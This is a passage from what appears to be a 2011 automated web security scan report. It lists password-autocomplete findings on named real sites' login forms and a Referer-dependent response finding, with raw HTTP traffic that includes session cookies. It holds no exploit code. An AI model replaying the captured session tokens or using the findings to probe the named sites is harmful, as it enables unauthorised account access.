
password

Request

Response

12.15. https://portal.opera.com/accounts/login/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://portal.opera.com
Path:	/accounts/login/

Issue detail

The page contains a form with the following action URL:

https://portal.opera.com/accounts/login/

The form contains the following password field with autocomplete enabled:

password

Request

Response

12.16. https://sendgrid.com/user/signup/package/44 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://sendgrid.com
Path:	/user/signup/package/44

Issue detail

The page contains a form with the following action URL:

https://sendgrid.com/user/signup/package/44

The form contains the following password field with autocomplete enabled:

signup[password]

Request

GET /user/signup/package/44 HTTP/1.1
Host: sendgrid.com
Connection: keep-alive
Referer: http://sendgrid.com/pricing.html?gclid=CPWo1PSJoqsCFRRSgwod8HVslQ
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __pcid=9GFPhk:1; __ptca=111872475.dUUOzxbhAvTn.1316222838.1316222838.1316222838.1; __ptv_0a6gTR=dUUOzxbhAvTn; __pti_0a6gTR=dUUOzxbhAvTn; __ptcc=1; __ptcs=111872475.1.10.1316222838; __ptcz=111872475.1316222838.1.0.ptmcsr=google|ptmcmd=organic|ptmccn=(organic)|ptmctr=smtp+server|ptmcex=9GFPhk.3Gp89g.1|ptmcx2=9GFPhk.3Gp89g.1; symfony=2620e59692610735faaba9cd7ccd2c6f:85ae52515893387e57b673877b205ea2bae4ed49; __qca=P0-572909897-1316204950437; _mkto_trk=id:467-KXI-123&token:_mch-sendgrid.com-1316204836485-43033; __utma=111872475.871024225.1316204951.1316204951.1316204951.1; __utmb=111872475.1.10.1316204951; __utmc=111872475; __utmz=111872475.1316204951.1.1.utmgclid=CPWo1PSJoqsCFRRSgwod8HVslQ|utmccn=(not%20set)|utmcmd=(not%20set); SnapABugRef=http%3A%2F%2Fsendgrid.com%2Fpricing.html%3Fgclid%3DCPWo1PSJoqsCFRRSgwod8HVslQ%20http%3A%2F%2Flanding.sendgrid.com%2Fsmtp-with-bullet-points%2F%3Fgclid%3DCPWo1PSJoqsCFRRSgwod8HVslQ; SnapABugHistory=1#; SnapABugVisit=8d68486b-56f8-4224-9862-8ffa3106ecfb-578112706076353; km_ai=n1EPXU78Lr4accy0ZIHA%2Fx7iGbI%3D; km_lv=1316204954; km_uq=; _chartbeat2=al0oan3xoujtpzgt.1316204955548

Response

12.17. http://shoprunner.force.com/content/JsContentElementsDRGS previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://shoprunner.force.com
Path:	/content/JsContentElementsDRGS

Issue detail

The page contains a form with the following action URL:

http://shoprunner.force.com/content/step1

The form contains the following password field with autocomplete enabled:

password2

Request

Response

12.18. https://support.socketlabs.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://support.socketlabs.com/index.php/Base/User/Login

The form contains the following password field with autocomplete enabled:

scpassword

Request

GET / HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: http://www.socketlabs.com/faq/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:22:04 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Vary: Accept-Encoding
Content-Length: 26050
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="auth
...[SNIP]...
</div>

               <form method="post" action="https://support.socketlabs.com/index.php/Base/User/Login" name="LoginForm">
                   <input type="hidden" name="_redirectAction" value="/Knowledgebase/HomeIndex/Index" />
...[SNIP]...
<div class="maitem login mapassword">
                       <input class="loginstyled" value="" name="scpassword" type="password">
<div class="helplink">
...[SNIP]...

12.19. https://support.socketlabs.com/index.php/Base/User/Login previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/User/Login

Issue detail

The page contains a form with the following action URL:

https://support.socketlabs.com/index.php/Base/User/Login

The form contains the following password field with autocomplete enabled:

scpassword

Request

POST /index.php/Base/User/Login HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/
Content-Length: 91
Cache-Control: max-age=0
Origin: https://support.socketlabs.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

_redirectAction=%2FKnowledgebase%2FHomeIndex%2FIndex&scemail=Your+email+address&scpassword=

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:22:21 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Vary: Accept-Encoding
Content-Length: 17078
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="auth
...[SNIP]...
</div>

               <form method="post" action="https://support.socketlabs.com/index.php/Base/User/Login" name="LoginForm">
                   <input type="hidden" name="_redirectAction" value="/Base/User/Login" />
...[SNIP]...
<div class="maitem login mapassword">
                       <input class="loginstyled" value="" name="scpassword" type="password">
<div class="helplink">
...[SNIP]...

12.20. https://support.socketlabs.com/index.php/Base/UserRegistration/Register previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/UserRegistration/Register

Issue detail

The page contains a form with the following action URL:

https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit

The form contains the following password fields with autocomplete enabled:

regpassword
passwordrepeat

Request

GET /index.php/Base/UserRegistration/Register HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/index.php/Base/User/Login
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:22:27 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Vary: Accept-Encoding
Content-Length: 18435
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="auth
...[SNIP]...
<form method="post" action="https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit" enctype="multipart/form-data" name="RegisterForm">
<div class="boxcontainer">
...[SNIP]...
<td><input name="regpassword" type="password" size="20" class="swifttextlarge" /></td>
...[SNIP]...
<td><input name="passwordrepeat" type="password" size="20" class="swifttextlarge" /></td>
...[SNIP]...

12.21. https://support.socketlabs.com/index.php/Base/UserRegistration/Register previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/UserRegistration/Register

Issue detail

The page contains a form with the following action URL:

https://support.socketlabs.com/index.php/Base/User/Login

The form contains the following password field with autocomplete enabled:

scpassword

Request

GET /index.php/Base/UserRegistration/Register HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/index.php/Base/User/Login
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:22:27 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Vary: Accept-Encoding
Content-Length: 18435
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="auth
...[SNIP]...
</div>

               <form method="post" action="https://support.socketlabs.com/index.php/Base/User/Login" name="LoginForm">
                   <input type="hidden" name="_redirectAction" value="/Base/UserRegistration/Register" />
...[SNIP]...
<div class="maitem login mapassword">
                       <input class="loginstyled" value="" name="scpassword" type="password">
<div class="helplink">
...[SNIP]...

12.22. https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/UserRegistration/RegisterSubmit

Issue detail

The page contains a form with the following action URL:

https://support.socketlabs.com/index.php/Base/User/Login

The form contains the following password field with autocomplete enabled:

scpassword

Request

POST /index.php/Base/UserRegistration/RegisterSubmit HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/index.php/Base/UserRegistration/Register
Content-Length: 630
Cache-Control: max-age=0
Origin: https://support.socketlabs.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKmcBgFc5dd4a1T1r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

------WebKitFormBoundaryKmcBgFc5dd4a1T1r
Content-Disposition: form-data; name="fullname"

------WebKitFormBoundaryKmcBgFc5dd4a1T1r
Content-Disposition: form-data; name="regemail"

------WebK
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:22:35 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Vary: Accept-Encoding
Content-Length: 19451
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="auth
...[SNIP]...
</div>

               <form method="post" action="https://support.socketlabs.com/index.php/Base/User/Login" name="LoginForm">
                   <input type="hidden" name="_redirectAction" value="/Base/UserRegistration/RegisterSubmit" />
...[SNIP]...
<div class="maitem login mapassword">
                       <input class="loginstyled" value="" name="scpassword" type="password">
<div class="helplink">
...[SNIP]...

12.23. https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/UserRegistration/RegisterSubmit

Issue detail

The page contains a form with the following action URL:

https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit

The form contains the following password fields with autocomplete enabled:

regpassword
passwordrepeat

Request

POST /index.php/Base/UserRegistration/RegisterSubmit HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/index.php/Base/UserRegistration/Register
Content-Length: 630
Cache-Control: max-age=0
Origin: https://support.socketlabs.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKmcBgFc5dd4a1T1r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

------WebKitFormBoundaryKmcBgFc5dd4a1T1r
Content-Disposition: form-data; name="fullname"

------WebKitFormBoundaryKmcBgFc5dd4a1T1r
Content-Disposition: form-data; name="regemail"

------WebK
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:22:35 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Vary: Accept-Encoding
Content-Length: 19451
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="auth
...[SNIP]...
<form method="post" action="https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit" enctype="multipart/form-data" name="RegisterForm">
<div class="boxcontainer">
...[SNIP]...
<td><input name="regpassword" type="password" size="20" class="swifttextlarge" /></td>
...[SNIP]...
<td><input name="passwordrepeat" type="password" size="20" class="swifttextlarge" /></td>
...[SNIP]...

12.24. http://www.godaddy.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/login.aspx?ci=9106&spkey=GDSWNET-M1PWCORPWEB181

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: www.godaddy.com
Proxy-Connection: keep-alive
Referer: http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; ShopperId1=ndqiadmiugedwezalcdaffdhwjpgihjc; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; currency1=potableSourceStr=USD; flag1=cflag=us

Response

12.25. http://www.godaddy.com/domains/search.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/domains/search.aspx

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/login.aspx?isc=71bf3%250d%250&ci=9106&spkey=GDSWNET-M1PWCORPWEB181

The form contains the following password field with autocomplete enabled:

password

Request

Response

12.26. http://www.godaddy.com/gdshop/site_search.asp previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/gdshop/site_search.asp

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/login.aspx?ci=9106&spkey=GDSWB181

The form contains the following password field with autocomplete enabled:

password

Request

Response

12.27. http://www.godaddy.com/offers/hot-deals2.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/offers/hot-deals2.aspx

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/login.aspx?isc=d0d8de1c80&ci=9106&spkey=GDSWNET-M1PWCORPWEB181

The form contains the following password field with autocomplete enabled:

password

Request

Response

12.28. http://www.godaddy.com/productadvisor/pastart.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/productadvisor/pastart.aspx

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/login.aspx?ci=9106&spkey=GDSWNET-M1PWCORPWEB181

The form contains the following password field with autocomplete enabled:

password

Request

Response

12.29. http://www.jangosmtp.com/login.asp previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.jangosmtp.com
Path:	/login.asp

Issue detail

The page contains a form with the following action URL:

https://www.jangosmtp.com/APPLICATION/processlogin.asp

The form contains the following password field with autocomplete enabled:

password

Request

GET /login.asp HTTP/1.1
Host: www.jangosmtp.com
Proxy-Connection: keep-alive
Referer: http://www.jangosmtp.com/Free-Account-Action.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JangoMail=Word=SMTP+server&Referrer=http%3A%2F%2Fwww%2Egoogle%2Ecom%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF%2D8%26q%3Dsmtp%2Bserver&Search=g; ASPSESSIONIDSCTSBTQQ=PLBPJOABDACEOGJJFNFHKHNJ; __utma=213119631.1093174196.1316204842.1316204842.1316204842.1; __utmb=213119631.4.10.1316204842; __utmc=213119631; __utmz=213119631.1316204842.1.1.utmgclid=CKGSi_aJoqsCFRdTgwod5zgZiw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; _chartbeat2=vs5g6yeo9lxk52er.1316204846394

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:30:30 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 8557
Content-Type: text/html
Cache-control: private

<!DOCTYPE html "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1
...[SNIP]...
<center>
<form action="https://www.jangosmtp.com/APPLICATION/processlogin.asp" method="post" name="loginform" id="loginform">
<input type="hidden" name="clientlogin" value="jangosmtp">
...[SNIP]...
<td align="left"><input type="password" name="password" size="30" maxlength="15"> <a href="PasswordReset.asp" style="font-size:10pt;">
...[SNIP]...

12.30. https://www.jangosmtp.com/login.asp previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.jangosmtp.com
Path:	/login.asp

Issue detail

The page contains a form with the following action URL:

https://www.jangosmtp.com/APPLICATION/processlogin.asp

The form contains the following password field with autocomplete enabled:

password

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:30:42 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 8884
Content-Type: text/html
Set-Cookie: JangoMail=Word=SMTP+server&Referrer=http%3A%2F%2Fwww%2Ejangosmtp%2Ecom%2Flogin%2Easp&Search=g; expires=Fri, 16-Dec-2011 16:30:42 GMT; path=/
Cache-control: private

<!DOCTYPE html "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1
...[SNIP]...
<center>
<form action="https://www.jangosmtp.com/APPLICATION/processlogin.asp" method="post" name="loginform" id="loginform">
<input type="hidden" name="clientlogin" value="jangosmtp">
...[SNIP]...
<td align="left"><input type="password" name="password" size="30" maxlength="15"> <a href="PasswordReset.asp" style="font-size:10pt;">
...[SNIP]...

12.31. https://www.smtp.com/signup previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.smtp.com
Path:	/signup

Issue detail

The page contains a form with the following action URL:

https://www.smtp.com/signup

The form contains the following password fields with autocomplete enabled:

order[customer][password]
order[customer][password_confirmation]

Request

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 15:29:30 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
ETag: "1a9dd22850c1a278f175fb6813a39fd7"
X-Runtime: 3732
Set-Cookie: _global_session=BAh7CDoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOhBfY3NyZl90b2tlbiIxcVNXak9kck5TK2dKaGYwUEtoUjQ4UGpNTGozeC9RejlGUjM0a0xZTEpzND06D3Nlc3Npb25faWQiJTgyMzI5Y2M4NmE0M2FjMGE5MzQ1MzQ0NzM4ZGJmNWU1--9d864407dc9132ffb7b5e9c9928c23d380537ed3; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 44737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <meta http-equiv="Co
...[SNIP]...
</p>

<form action="https://www.smtp.com/signup" id="registration-form" method="post"><div style="margin:0;padding:0;display:inline">
...[SNIP]...
</label>
<input class="text" id="order_customer_password" name="order[customer][password]" size="30" tabindex="6" type="password" />
                            <em class="error-explanation field-note">
...[SNIP]...
</label>
<input class="text" id="order_customer_password_confirmation" name="order[customer][password_confirmation]" size="30" tabindex="7" type="password" />
                           <em class="error-explanation field-note">
...[SNIP]...

12.32. http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.thewhir.com
Path:	/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites

Issue detail

The page contains a form with the following action URL:

http://www.thewhir.com/Auth/login

The form contains the following password field with autocomplete enabled:

password

Request

Response

13. Referer-dependent response previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://help.securepaynet.net
Path:	/article/4714

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /article/4714 HTTP/1.1
Host: help.securepaynet.net
Proxy-Connection: keep-alive
Referer: http://help.securepaynet.net/topic/168/article/5246?plid=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:09:39 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5
Vary: Accept-Encoding
Content-Length: 11423
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>

<html>
   <head>
       <title>
                           Setting up Your Email Address with IMAP -
                                       Help Center
                   </title>
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

...[SNIP]...
<img src="//img.secureserver.net/image.aspx?page=%2Farticle%2F4714&referrer=http%3A%2F%2Fhelp.securepaynet.net%2Ftopic%2F168%2Farticle%2F5246%3Fplid%3D&site=help.securepaynet.net&server=m1plgdhelp004&status=200&article_id=4714&locale=en&topic_id=167" class="gdti" border="0" width="1" height="1" style="width: 1px; height: 1px; border: 0; margin: 0; padding: 0; position: absolute; top: 1em; left: 0.5em;" alt="" />



